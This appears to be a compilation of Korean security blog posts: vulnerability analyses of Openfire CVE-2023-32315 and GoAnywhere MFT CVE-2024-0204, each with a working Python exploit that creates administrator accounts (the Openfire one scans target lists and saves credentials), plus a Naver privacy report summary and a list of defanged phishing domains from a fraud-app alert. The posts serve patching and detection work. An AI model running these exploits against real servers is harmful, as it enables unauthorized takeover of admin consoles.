1. Openfire [1]

- 자이브 소프트웨어(Jive Software)의 실시간 협업 서버

- XMPP(Extensible Messaging and Presence Protocol) 프로토콜을 기반으로 하는 오픈 소스 실시간 협업 서버

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-32315 [2]

 

- 취약한 버전의 Openfire 관리 콘솔 페이지에서 설정 환경을 통한 경로 탐색이 가능한 취약점

> 해당 취약점은 2023년 패치 보안 업데이트를 발표하였으며, 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행

> 최근 국가 배후 해킹조직에서 해당 취약점을 악용한 정황이 포착

제품명 영향받는 버전
Openfire 3.10.0 ~ 4.7.4
(3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 
4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4,
4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7,
4.7.0, 4.7.1, 4.7.2, 4.7.3, 4.7.4)

 

2.1 취약점 상세

- 해당 취약점은 2023년 패치 보안 업데이트를 발표

> 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행

[사진 2] http.title:"Openfire Admin Console" 검색 화면

 

- 해당 취약점은 "testURLPassesExclude" 메소드에서 URL에 대한 입력값 검증이 부족하여 발생

> doFilter()는 HTTP 요청을 가로채 입력값 검증, 권한 검증 등을 수행하는 것으로 판단됨

> testURLPassesExclude 메소드는 doFilter()에 의해 호출

> testURLPassesExclude는 URL에서 ".." 또는 "%2e (디코딩 .)" 문자열만 필터링하며 그 외 추가적인 필터링은 존재하지 않음

public static boolean testURLPassesExclude(String url, String exclude) {
        // If the exclude rule includes a "?" character, the url must exactly match the exclude rule.
        // If the exclude rule does not contain the "?" character, we chop off everything starting at the first "?"
        // in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
        // character then the URL is allowed if it exactly matches everything before the * and there are no ".."
        // characters after the "*". All data in the URL before
        if (exclude.endsWith("*")) {
            if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
                // Now make suxre that there are no ".." characters in the rest of the URL.
                if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
                    return true;
                }
            }
        }
        else if (exclude.contains("?")) {
            if (url.equals(exclude)) {
                return true;
            }
        }
        else {
            int paramIndex = url.indexOf("?");
            if (paramIndex != -1) {
                url = url.substring(0, paramIndex);
            }
            if (url.equals(exclude)) {
                return true;
            }
        }
        return false;
    }

 

- 공격자는 /%u002e%u002e/%u002e%u002e/ (디코딩 /../../)를 이용해 URL 입력값 검증을 우회

> 벤더사는 당시 웹 서버에서 지원하지 않는 UTF-16 문자의 특정 비표준 URL 인코딩에서 오류가 발생하였다고 밝힘

예시: "[Target IP]/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"

 

2.2 취약점 실습

- Opernfire 설치 후 정상 접근 확인

[사진 3] Openfire 정상 접근

 

- BurpSuite를 이용해 plugin-admin.jsp 요청을 전송하여 JSESSION ID 및 CSRF와 같은 필요한 세션 토큰을 획득

/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp

[사진 4] 세션 토큰 획득

 

- 획득한 세션 토큰을 이용해 user-create.jsp 요청을 전송하여 새로운 관리자 계정 생성

[사진 5] 새로운 관리자 계정 test 생성

 

- test 계정으로 정상 접근관리자 권한을 가진 것을 확인

> [사진 5] 관리자 계정 생성시 관리자 세션 토큰을 이용해 관리자 권한을 가진 것으로 판단됨

[사진 5] 관리자 계정 test 정상 접근

 

2.3 PoC [3]

- 세션 토큰(JSESSION ID 및 CSRF) 획득 후 토큰을 이용해 새로운 계정 생성

import random
import string
import argparse
from concurrent.futures import ThreadPoolExecutor
import HackRequests

artwork = '''

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
'''

def generate_random_string(length):
    charset = string.ascii_lowercase + string.digits
    return ''.join(random.choice(charset) for _ in range(length))

def between(string, starting, ending):
    s = string.find(starting)
    if s < 0:
        return ""
    s += len(starting)
    e = string[s:].find(ending)
    if e < 0:
        return ""
    return string[s : s+e]

final_result = []

def exploit(target):
    hack = HackRequests.hackRequests()
    host = target.split("://")[1]

    # setup 1: get csrf + jsessionid
    jsessionid = ""
    csrf = ""

    try:
        url = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp"

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }
        print(f"[..] Checking target: {target}")
        hh = hack.http(url, headers=headers)
        jsessionid = hh.cookies.get('JSESSIONID', '')
        csrf = hh.cookies.get('csrf', '')

        if jsessionid != "" and csrf != "":
            print(f"Successfully retrieved JSESSIONID: {jsessionid} + csrf: {csrf}")
        else:
            print("Failed to get JSESSIONID and csrf value")
            return
        
        # setup 2: add user
        username = generate_random_string(6)
        password = generate_random_string(6)
        
        header2 = {
            "Host": host,
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Cookie": f"JSESSIONID={jsessionid}; csrf={csrf}",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }

        create_user_url= f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={csrf}&username={username}&name=&email=&password={password}&passwordConfirm={password}&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7"
        hhh = hack.http(create_user_url, headers=header2)

        if hhh.status_code == 200:
            print(f"User added successfully: url: {target} username: {username} password: {password}")
            with open("success.txt", "a+") as f:
                f.write(f"url: {target} username: {username} password: {password}\n")
        else:
            print("Failed to add user")
        # setup 3: add plugin

    except Exception as e:
        print(f"Error occurred while retrieving cookies: {e}")

def main():
    print(artwork)

    ## parse argument
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The URL of the target, eg: http://127.0.0.1:9090', default=False)
    parser.add_argument("-l", "--list", action="store", help="List of target url saperated with new line", default=False)
    args = parser.parse_args()

    if args.target is not False:
        exploit(args.target) 
	
    elif args.list is not False:
        with open(args.list) as targets:
            for target in targets:
                target = target.rstrip()
                if target == "":
                    continue
                if "http" not in target:
                    target = "http://" + target
                exploit(target) 
    else:
        parser.print_help()
        parser.exit()

# def main():
#     parser = argparse.ArgumentParser(description="CVE-2023-32315")
#     parser.add_argument("-u", help="Target URL")
#     parser.add_argument("-l", help="File containing URLs")
#     parser.add_argument("-t", type=int, default=10, help="Number of threads")

#     args = parser.parse_args()

#     target_url = args.u
#     file_path = args.l
#     thread = args.t

#     targets = []

#     if target_url is None:
#         with open(file_path, "r") as file:
#             for line in file:
#                 target = line.strip()
#                 if target == "":
#                     continue
#                 if "http" not in target:
#                     target = "http://" + target
#                 targets.append(target)

#         with ThreadPoolExecutor(max_workers=thread) as executor:
#             for target in targets:
#                 executor.submit(exploit, target)
                

#     else:
#         exploit(target_url)

if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6][7]

> decodedUrl()를 추가하여 UTF-8 디코딩 [8]

제품명 영향받는 버전 해결 버전
Openfire 3.10.0 ~ 4.7.4
(3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 
4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 
4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 
4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7, 4.7.0, 4.7.1, 4.7.2, 
4.7.3, 4.7.4)
4.6.8, 4.7.5, 4.8.0

 

- 업데이트가 불가한 경우 opt/openfire/plugins/admin/webapp/WEB-INF/web.xml 편집

> AuthFilter 요소에서 *를 제거 및 Authentication으로 설정한 후 모든 것을 제외

> 악용을 시도하는 경우 로그인 페이지로 리디렉션

[사진 6] 설정 파일 수정

 

- /%u002e%u002e/%u002e%u002e/ 탐지 정책 적용

 

4. 참고

[1] https://www.igniterealtime.org/projects/openfire/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-32315
[3] https://github.com/miko550/CVE-2023-32315
[4] https://discourse.igniterealtime.org/t/cve-2023-32315-openfire-administration-console-authentication-bypass/92869
[5] https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
[6] https://www.igniterealtime.org/downloads/
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71305
[8] https://github.com/igniterealtime/Openfire/blob/5454b57088ef6b62af39bb3cf704879baf55ab07/xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java#L194
[9] https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce
[10] https://codewithvamp.medium.com/cve-2023-32315-administration-console-authentication-bypass-c1429f8c4576
[11] https://www.seqrite.com/blog/critical-security-alert-cve-2023-32315-vulnerability-in-openfire-xmpp-server/
[12] https://www.boannews.com/media/view.asp?idx=126400&page=1&kind=1

1. GoAnywhere MFT [1]

- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-0204 [1]

 

- 취약한 버전의 GoAnywhere MFT에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> 인증을 우회한 공격자는 새로운 관리자 계정을 생성해 추가 익스플로잇이 가능함

영향받는 버전 [3]
① Fortra GoAnywhere MFT 6.x (6.0.1 이상)
② Fortra GoAnywhere MFT 7.x (7.4.1 이전)

 

2.1 취약점 상세 [4]

- 최초 설치시 GoAnywhere MFT는 InitialAccountSetup.xhtml를 호출해 관리자 계정을 생성

 

[사진 2] 설치 중 관리자 계정 추가

 

- 설치 후 InitialAccountSetup.xhtml를 직접 요청하면 액세스할 수 없으며 리다이렉션이 발생

> 관리자 계정이 생성되었기 때문

> /Dashboard.xhtml 엔드포인트로 리디렉션

> 사용자가 인증되지 않았으므로 최종적으로 /auth/Login.xhtml로 리디렉션

 

- 모든 요청에 대해 com.linoma.dpa.security.SecurityFilter 클래스 호출

> 어떤 엔드포인트가 요청되는지 확인하고 엔드포인트, 사용자 컨텍스트 및 응용 프로그램 설정을 기반으로 요청이 올바른 엔드포인트로 라우팅 되도록 허용하는 doFilter() 기능을 수행

> 해당 클래스에서 취약점과 관련된 /InitialAccountSetup.xhtml 요청을 처리하는 명시적인 코드가 확인

① 91번 라인: 이미 생성된 관리자 사용자가 없고 경로가 /wizard/InitialAccountSetup.xhtml이 아닌 경우 설정 페이지로 리다이렉션
② 102번 라인: 이미 생성된 admin 사용자가 있고 경로가 /wizard/InitialAccountSetup.xhtml이면 /Dashboard.xhtml로 리디렉션

 

[사진 3]&nbsp; /wizard/InitialAccountSetup.xhtml 관련 명시적 코드

 

- 공격자는 이를 악용하기 위해 페이로드에 "/..;/"를 추가해 경로 순회 취약점을 이용

> Tomcat의 일부 취약한 구성은 /..;/를 /../로 정규화 [5][6]

> /..;/를 이용해 doFilter()를 우회하여 새로운 관리자 계정 생성 및 추가 익스플로잇 수행

hxxps://[Target IP]/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml

 

[사진 4] 관리자 계정 생성 페이지 (좌) 및 관리자 계정 생성 (우)

 

2.2 PoC [7]

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml URL로 GET 요청 전송

import requests
from bs4 import BeautifulSoup
import argparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def validate_password(password):
    if len(password) < 8:
        raise argparse.ArgumentTypeError("Password must be at least 8 characters long.")
    return password

def main():
    parser = argparse.ArgumentParser("CVE-2024-0204 GoAnywhere Authentication Bypass")
    parser.add_argument("endpoint", help="The endpoint URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("username", help="New admin username")
    parser.add_argument("password", help="New admin password", type=validate_password)
    args = parser.parse_args()
    url = f"{args.endpoint}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"

    data = {
        "j_id_u:creteAdminGrid:username": args.username,
        "j_id_u:creteAdminGrid:password_hinput": args.password,
        "j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:confirmPassword_hinput": args.password,
        "j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:submitButton": "",
        "createAdminForm_SUBMIT": 1,
    }

    s = requests.session()
    r = s.get(url, verify=False)
    if r.status_code == 401:
        raise Exception("Endpoint does not appear to be vulnerable.")

    soup = BeautifulSoup(r.text, "html.parser")
    input_field = soup.find('input', {'name': 'javax.faces.ViewState'})
    data['javax.faces.ViewState'] = input_field['value']
    r = s.post(url, verify=False, data=data)

    if r.status_code != 200:
        raise Exception("Failed to create new admin user")

    soup = BeautifulSoup(r.text, "html.parser")
    error_message = soup.find("span", {"class": "ui-messages-error-summary"})
    if error_message is not None:
        raise Exception(error_message.text)

if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 : Fortra GoAnywhere MFT 7.4.1 이상 [8]

> 벤더사 권고 추가 해결 방안

① 비컨테이너 배포 인스턴스의 경우 설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 삭제하고 서비스 다시 시작

② 컨테이너 배포 인스턴스의 경우설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 빈 파일로 바꾸고 서비스 다시 시작

 

- 관리자 계정 목록 검토

> GoAnywhere administrator portal Users -> Admin Users 검토

> 또는, \GoAnywhere\userdata\database\goAnywhere\log\*.log 로그 검토

※ 해당 로그는 DB의 트랜잭션 기록이 포함되어 있으며, 사용자 추가시 관련 로그가 기록됨

 

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml 탐지 패턴 적용

 

4. 참고

[1] https://www.goanywhere.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0204
[3] https://www.fortra.com/security/advisory/fi-2024-001
[4] https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/
[5] https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#path-traversal
[6] https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/
[7] https://github.com/horizon3ai/CVE-2024-0204
[8] https://www.kroll.com/en/insights/publications/cyber/authentication-bypass-in-fortra-goanywhere-mft
[9] https://cybersecuritynews.com/goanywhere-mft-bypass/amp/
[10] https://www.upguard.com/blog/goanywhere-cve-2024
[11] https://www.helpnetsecurity.com/2024/01/24/poc-cve-2024-0204/
[12] https://socprime.com/blog/cve-2024-0204-detection-critical-vulnerability-in-fortra-goanywhere-mft-resulting-in-authentication-bypass/
[13] https://www.boannews.com/media/view.asp?idx=126043&page=1&kind=1

1. 네이버 개인정보보호 리포트

- 네이버는 2012년부터 개인정보 보호 활동을 엮어 '네이버 개인정보보호 리포트' 발행 [1]

> 2015년부터 '이용자 프라이버시 보호'에 대한 전문 연구 수행결과를 모아 'Privacy Whitepaper' 발행

구분 목차 주요 내용
2023
개인정보보호
리포트
환경의 변화 ① 개정 개인정보보호법 시행
② 생성형 AI의 대중화 및 인공지능 규제 움직임
③ 네이버 대화형 AI 서비스 및 생성형 AI 검색 서비스 신규 출시
④ 데이터센터 오픈
네이버 개인정보 보호
주요 활동 및 이슈
① 변화 대응
- 국내 개보법 개정 대응 : 법 개정에 따른 영향 검토 및 관련 내용 내부 전파
> 개정에 따른 개인정보보호 체계 정비 및 방향성 검토
> 사내 임직원 교육 및 공지 진행

- CLOVA X 서비스 출시 점검 : 인공지능 도입 전 점검표 기반 사전 점검 진행
> 서비스 기획 및 설계 과정에서 개인정보 영향평가 진행
> 인공지능 개인정보보호 자율점검표 기반 개인정보보호 이슈 검토

② 투명성 강화
- 아동, 청소년 개인정보 보호 강화 : 아동 개인정보 보호 투명성 강화 목적
> 아동을 위한 개인정보 보호 교육 영상 제작
> 아동용 개인정보 처리방침 제작
> 네이버 프라이버시센터 '아동 개인정보보호' 메뉴 신설

- 모바일 애플리케이션 프라이버시 보호 현황 공개 : 이용자 최신 정보 분기별 공개
> 이용자 신뢰 및 투명성 강화

③ 인식 강화
- 정보보호의 달 릴레이 교육 실시 : 이용자 및 종소상공인 등 대상 교육 실시
> 소상공인 대상 개인정보 보호 교육 / NAVER PER 제도 / EU GDPR 교육

- 네이버 임직원 대상 개인정보보호 교육 실시 : 개인정보 보호 중요성 강조

④ 보호 활동
- 네이버 개인정보보호 위원회 제9기 위촉 : 개인정보보호 최고 전문가들로 구성
> 위촉 및 활동 결과 공개

- 네이버 1784 사옥 개인정보 처리 현황 확인 : 신기술 도입에 따른 개인정보 보호 이슈 대응

 

2. Privacy Whitepaper

2.1 자동화된 결정 규정의 해석과 바람직한 운영 및 개선방안

- 자동화된 결정: 완전히 자동화된 시스템(인공지능 기술을 적용한 시스템 포함)으로 개인정보를 처리하여 이루어지는 결정 (개보법)

- 프로파일링: 자연인의 개인적인 특정 측면을 평가하기 위하여 행해지는 모든 형태의 자동화된 개인정보 처리 (GDPR)

> 인간의 존엄성, 프라이버시와 자유, 민주주의, 공정성 문제

> 문제를 어떻게 해결할 것인가: 개보법제, 차별금지법제, 인공지능 규제 법제, 행정 법제

> 여러 상황, 맥락 등에 따라 다양한 한계가 존재

 

- 자동화된 결정에 대한 대응권 규정의 해석 비교

> 거부권의 요건 강화

> 거부권의 법적 성격이 정보주체의 권리임을 명확히 함 등

구분 법제 주요내용
거부권 GDPR - 자동화된 결정의 적용을 받지 않을 권리(제22조 제1항)
> 요건: 자동화된 처리에만 기초한 결정이며, 정보주체에게 법적 효력을 초래하거나 유사하게 중대한 영향을 미칠 것
> 예외: 계약 체결 또는 이행, 법규제, 명시적 동의
개정
개인정보보호법
- 권리의 창설
> 요건: 자동화된 결정이 존재하며, 정보주체의 권리 또는 의무에 중대한 영향 끼침
> 예외: 계약 체결 또는 이행, 법규제, 명시적 동의
> 문제점: 거부와 설명요구의 효과를 함께 규정하여 불명확함.
설명요구권 GDPR > 요건 : 제22조의 자동화된 결정 / 본인에 관한 법적 효과를 초래하거나 이와 유사하게 본인에게 중대한 영향 미쳐야 함
개정
개인정보보호법
> 자동화된 결정에 대한 대응권에 속하는 별도의 권리
> 요건: 정보주체에 대한 자동화된 결정의 존재  (정보주체의 권리 또는 의무에 중대한 영향 요건 누락)

 

- 개선방안

구분 주요내용
명확성의 제고 - 거부권 행사의 효과를 명확히 규정
- 개인정보처리자의 면책 사유로서의 정당한 사유를 구체화
- ‘정보주체의 권리 또는 의무에 중대한 영향을 미칠 것’을 요건으로 함으로써 설명요구권의 요건을 강화 등
절차적ㆍ수단적 규제로서의 특성 고려 - 과도한 제재가 가해지지 않도록 운용
상황과 맥락의 고려 - 공적 영역과 사적 영역의 차이
- 당사자들의 이익형량을 고려
기술적 한계의 고려 - 설명이 사회관념상 기술적으로 불가능한 경우 위법하다고 할 수 없음
- 블랙박스(black box) 문제: 인공지능에 의한 판단이나 결정의 근거나 과정에 대한 적절한 설명이 없는 상태
- 상충관계의 문제
- 공정성 지표의 문제
자율적 접근과 후견적 접근의 조화 - 자율적 접근방식의 채택이 보다 합리적
- 후견적 접근방식에 의한 보완
- 자율규제의 활용

 

2.2 개인정보의 제3자 제공을 둘러싼 몇 가지 쟁점에 대하여

- 개인정보보호법의 제3자 제공에 관한 규정

> 수집, 이용에 관한 제15조, 제3자 제공에 관한 제17조

> 목적 외 이용 및 목적 외 제공에 관한 제18조가 병렬적으로 나열되어 혼란 유발

> 체적으로 ‘처리’에 관한 규정으로 통합 or 법 제17조와 제18조를 통합하는 방안 고려 필요

 

- 제3자 제공 관련 해외 법제 개요

구분 주요 내용
일본 - 동의를 받지 않은 경우에는 개인데이터를 제3자 제공할 수 없음을 원칙으로 규정
- 우리나라의 경우보다 동의 없이 제3자 제공을 할 수 있는 경우가 훨씬 완화
- 제3자 제공을 위한 고지 사항이 다소 포괄적으로 설정되어 있으며, 동의의 방식도 포괄적으로 인정
- 동의 원칙을 완화한 대신 사업자의 기록 보존 의무를 명시
- Opt-put 사업자 제도를 두어 개인정보 보호위원회에 신고하고 일정한 사항을 공개한 경우에는 동의 없이 제3자 제공이 가능
- 그 외 제3자 제외 간주 조항을 두어 위탁, 합병, 공동 이용의 경우 제3자 제공의 원칙들이 적용되지 않도록 함
GDPR - 제3자 제공에 대하여 처리에 포함하여 수집과 함께 포괄적으로 규정
- 원칙은 고지와 그에 따른 동의이며,그 이외의 다른 적법 처리 근거들이 병렬적으로 제시
- 위탁의 경우 컨트롤러와 프로세서 간에 일정한 사항을 포함하는 서면 계약을 체결할 것을 요구
- 공동 컨트롤러 사이에는 계약과 그 계약 내용의 공개를 통하여 공동 컨트롤러 간의 개인정보 이전에 대하여 동의 등 적법 처리근거 없이 공동 컨트롤러로서 처리가 가능

 

- 개인정보보호법상 관련 규정 검토

구분 주요 내용
제3자 제공 관련 규정에 대한 검토 - 제공은 개인정보의 지배권과 관리권을 이전한다는 의미로 표준 개인정보지침은 개인정보의 접근권한 부여, 공유, 공동 이용상태를 초래하는 행위를 모두 포함
제3자 제공과 위탁의 구분 - 정보주체와의 관계에서 ‘책임’을 누가 지는 것으로 하였는가를 기준으로 하여야 한다는 책임기준설이 제시
공동 이용에 따른 처리에 대하여 별도 입법의 필요성 - 공동 이용: 업무-이익기준설의 관점에서 복수의 개인정보처리자 간에 공동의 목적과 이익을 위하여 개인정보를 처리하는 경우를 의미
- GDPR ‘공동 컨트롤러(Joint Controllers)’ 개념, 일본 공동 이용제도 등
- 공동 이용제도에 대하여 국내 법상 논의는 활발하지 않음

 

3. 기타

- 경제성, 예측 가능성에 비추어 현재 제시된 법률의 내용 보강 필요

 

- 개인정보 활용을 위한 법제에 비해 시장에서 데이터 활용에 대한 활성화가 이루어지지 않음

> 여러 규제(EU AI Act 등)가 개보법에 포함되며 활용이 제약될 수 있음

 

- 제3자 제공, 공동 이용 등의 모호성의 명확화

> 계약 사항 이행을 위해 필요한 부분들이 별도 규정되어 있음

> 계약 사항 이행 목적임에도 재동의 필요

> 공동 이용시 책임소재 명확화 필요

> 제3자 제공 관련 최초 이관자의 의도 파악이 중요

 

- 현재 동의 받는 방식의 습관화와 개인정보 보호의 관련성 고려 필요

 

- 알고리즘 통제자와 개인정보처리자의 불일치 문제의 해결 필요

 

- 개인정보처리자의 재량이나 판단 기준에 대해 해설서에 충분한 반영 필요

 

- 권리 행사의 예외가 되는 정당한 사유에 대한 구체화

 

※ 부족한 내용은 참고사이트 확인 바랍니다.

 

4. 참고

[1] https://privacy.naver.com/protection_activity/personal_information_report?menu=protection_activity_report_personal_information
[2] https://privacy.naver.com/protection_activity/privacy_white_paper?menu=protection_activity_report_privacy_whitepaper

[3] https://www.boannews.com/media/view.asp?idx=125712

1. 개요

- 최근 국내 앱 마켓을 통해 국내 주요 금융社 명칭과 브랜드 로고를 교모하게 변조한 사기앱이 유포

- 해당 앱은 누구나 국내 앱 마켓에서 검색 및 설치가 가능

> 국민 피해 예방을 위해 사기 수법·위장 앱 명칭 등 내용을 공개

 

2. 주요 내용

- 주식, 비상장 코인 투자 정보 제공을 주제로 홍보해 앱 설치 유도

 

[사진 1] 위장 앱 및 기능

 

- 정상 정보·비정상 정보가 혼재된 금융정보 제공 및 사용자 투자의향 표명 시 상담 채널(텔레그램) 연결

> 앱 실행 시 위장 사이트로 연결하며, 회원가입·로그인·일부 조작된 금융 정보 등을 표출

 

[사진 2] 앱 실행 시 회원가입&middot;로그인 요청 및 일부 조작된 거래정보 표출

 

- 상담 채널에서는 이체 요청 후 잠적하는 수법으로 자금 절취

① 비상장 코인에 대해 투자 권유

② 투자금 입금용 계좌번호에 자금 이체 요청

③ 입금 시 수수료 등을 사유로 추가 입금 지속 요구

④ 피해자가 환불 등을 요청시, 잠적

 

3. 침해지표

- 앱 내 포함된 1차 위장 사이트로 접속하면 2차 위장 사이트로 리다이렉션 (두 사이트가 한 세트로 동작)

순번 1차 위장 사이트 2차 위장 사이트 사이트명
1 a[.]phxvsmz[.]store www[.]folisc[.]com 한화
2 a[.]riopcjj[.]store www[.]zoity[.]xyz HANA INT
3 a[.]rnoclbs[.]store www[.]hkahd[.]xyz DB운용에
4 a[.]zaibhmk[.]store www[.]zopsf[.]xyz 유안타 T
5 a[.]xjtyqnw[.]store www[.]ciosly[.]xyz KB AI
6 a[.]wieoawz[.]store www[.]shinhanfund[.]xyz 신한자산운용

 

- 동일한 방식으로 국내 금융社 뿐만 아니라 해외 금융社, 거래소 등을 위장한 사이트도 추가 확인

순번 1차 위장 사이트 2차 위장 사이트
1 a[.]pkxvsmz[.]store www[.]folisc[.]com
2 a[.]riopcjj[.]store www[.]zoity[.]xyz
3 a[.]rnoclbs[.]store www[.]hkahd[.]xyz
4 a[.]zaibhmk[.]store www[.]zopsf[.]xyz
5 a[.]ynrxpkx[.]store www[.]jiudfr[.]xyz
6 a[.]xjtyqnw[.]store www[.]ciosly[.]xyz
7 a[.]wieoawz[.]store www[.]shinhanfund[.]xyz
8 a[.]vzfctgx[.]store www[.]tsuhd[.]xyz
9 a[.]rouurxt[.]store www[.]djueh[.]xyz
10 a[.]emmgadv[.]store www[.]ljiaw[.]com
11 a[.]kwgrnma[.]store www[.]ghdu[.]xyz
12 a[.]ldweezt[.]store www[.]fislod[.]xyz
13 a[.]oepypdd[.]store www[.]bopsi[.]xyz
14 a[.]zcttesa[.]store www[.]djeruy[.]xyz
15 a[.]tphliy[.]store h5[.]cscmapplic[.]xyz
16 a[.]donelwf[.]store www[.]jclise[.]xyz
17 a[.]tnlejon[.]store www[.]zshhsi[.]xyz
18 a[.]jbtlmve[.]store www[.]yiosfe[.]com
19 a[.]dtqyipq[.]store www[.]cipsid[.]xyz
20 a[.]miknddc[.]store www[.]jxbyudufs[.]xyz
21 a[.]wpuvxrn[.]store www[.]piv3[.]com
22 a[.]lpmreoo[.]store www[.]xvsto[.]com
23 a[.]vfnnhlx[.]store www[.]goiwey[.]com
24 a[.]ihimrsb[.]store www[.]topsixj[.]xyz
25 a[.]kpdlhgz[.]store www[.]huiwas[.]com
26 a[.]erweliq[.]store www[.]copeis[.]com
27 a[.]sbwyyqs[.]store www[.]gusisy[.]com
28 a[.]ybuaiot[.]store www[.]tposl[.]xyz
29 a[.]kqoykjn[.]store www[.]tioesl[.]com
30 a[.]vwmnasu[.]store www[.]fgdku[.]xyz
31 a[.]vvjwnmz[.]store www[.]copwx[.]xyz
32 a[.]pfmczyc[.]store www[.]kkjqaz[.]xyz
33 a[.]spgvehi[.]store www[.]ryshos[.]xyz
34 a[.]oaeqxyh[.]store www[.]afhas[.]xyz
35 a[.]zciqgpk[.]store www[.]ljkoc[.]xyz
36 a[.]rppuriw[.]store www[.]ymlisj[.]xyz
37 a[.]aadnhtr[.]store www[.]huiwus[.]com
38 a[.]ckwausl[.]store www[.]fopsjl[.]xyz
39 a[.]gldltyu[.]store www[.]lopwb[.]com
40 a[.]efekftr[.]store www[.]yopdos[.]com
41 a[.]sqrtexz[.]store www[.]kliow[.]xyz
42 a[.]oihckla[.]store www[.]goplpr[.]xyz
43 a[.]djjuedn[.]store www[.]foloix[.]xyz
